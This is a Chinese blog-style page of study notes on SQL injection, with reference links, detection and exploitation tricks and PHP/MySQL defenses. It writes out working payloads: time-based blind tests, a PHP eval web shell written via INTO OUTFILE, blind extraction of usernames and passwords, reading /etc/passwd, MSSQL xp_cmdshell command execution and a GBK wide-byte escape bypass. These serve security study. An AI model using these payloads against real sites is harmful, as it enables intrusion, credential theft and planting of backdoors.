sql注入——资源记录
来源:互联网 发布:什么是泛型编程 编辑:程序博客网 时间:2024/06/08 05:38
《sql注入攻击与防御(第二版)》:
SQL Injection Cheat Sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku
网络资料整理:
sqlmap用户手册:http://drops.wooyun.org/tips/143 续 http://drops.wooyun.org/tips/401
--以下记录来源于《白帽子讲web安全》安全攻防之SQL注入(通过sqlmap搞定所有问题):http://www.cnblogs.com/Javame/p/3753060.html
手工注入经验总结:http://blog.csdn.net/eldn__/article/details/8203831
判断方法:
1. and 1=1 / and 1=2
利用技巧:2.mysql 中 id=1 and sleep(5) #延时注入
3.mysql 中 benchmark(100000,encode(‘abc’,‘abc’)#延时注入
防御:1.mysql中常用的函数 database() system_user() current_user() last_insert_id()
2.写入一句话:select "<?php eval($_POST[1]);?>" into outfile "网站绝对路径"
3. id = 1 and substring(@@version,1,1)=54. id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>645. id = 1 union select 1,1,load_file('/etc/passwd')6. mssql中利用存储过程执行系统命令 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'7. 数据库编码若为gbk 会把识别0xbf5c,addslashes会把 0x27变成0x5c27,那么构造payload 0xbf27,即可插入单引号注入。8.sql column truncation是因为定义column长度varchar时值太小,若STRICT_ALL_TABLES开启,那么可以插入 溢出部分不同 的值会成功。
1.1预编译:绑定变量,不能改变sql的语义(也交参数化查询)
php中$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);
1.2使用存储过程,调用存在数据库里的函数。
1.3设置变量的值,比如固定为integer
1.4使用定义好的安全函数来转义。
1.5设置数据库用户的最小权限。
2.1php中的过滤函数:
php.ini magic_quotes_gpc 开启的话,输入的字符串会被转义,多加一个\
若没有开启magic_quotes_gpc,用addslashes(),强制在单引号上加\(可能将0xbf27 变成0xbf 5c 27,如果数据库是gbk,会识别0xbf5c,统一编码即可解决)
mysql_real_escape_string() 考虑字符集
mysql_escape_string() 不考虑字符集 ( php5.3已经弃用)
- sql注入——资源记录
- sql注入资源
- 手动sql注入记录
- sql注入记录
- SQL手工注入——数字型注入
- SQL注入——宽字节注入
- PHP防SQL注入记录
- 玩命牛的成长记录(十二)——sql注入和session
- SQL注入教程——(一)SQL注入原理
- 简析——SQL注入
- jdbc防止sql注入学习记录
- SQL注入教程——(四)宽字节注入
- SQL注入天书—ASP注入漏洞全接触
- SQL注入天书—ASP注入漏洞全接触
- SQL注入天书—ASP注入漏洞全接触
- SQL注入天书—ASP注入漏洞全接触
- SQL注入天书—ASP注入漏洞全接触
- SQL注入天书—ASP注入漏洞全接触
- bzoj1047&CodeVS1715 理想的正方形
- 使用BigDecimal时的注意事项
- 网络连接
- 基于 使用各前沿JS 框架,创建网页手游的各种坑(HTML5+COCOS2D-JS+NODE.JS)
- Android之解决Android Studio 出现ADB not responding.... kill "adb.exe" and click 'Restart'
- sql注入——资源记录
- Post-Mortem Debugging Your Application with Minidumps and Visual Studio .NET
- 电子或通信领域当前的主流技术及社会需求调查报告
- Remove Duplicates from Sorted List
- 初识RMAN4 : RMAN压缩、加密备份,shell中调用RMAN备份
- 位操作
- 2.运行你的App-Google官网上的Android初学训练
- Android自定义TextView省略号样式
- Arduino 平台与C语言程序设计-week3-Arduino Programs-Lesson2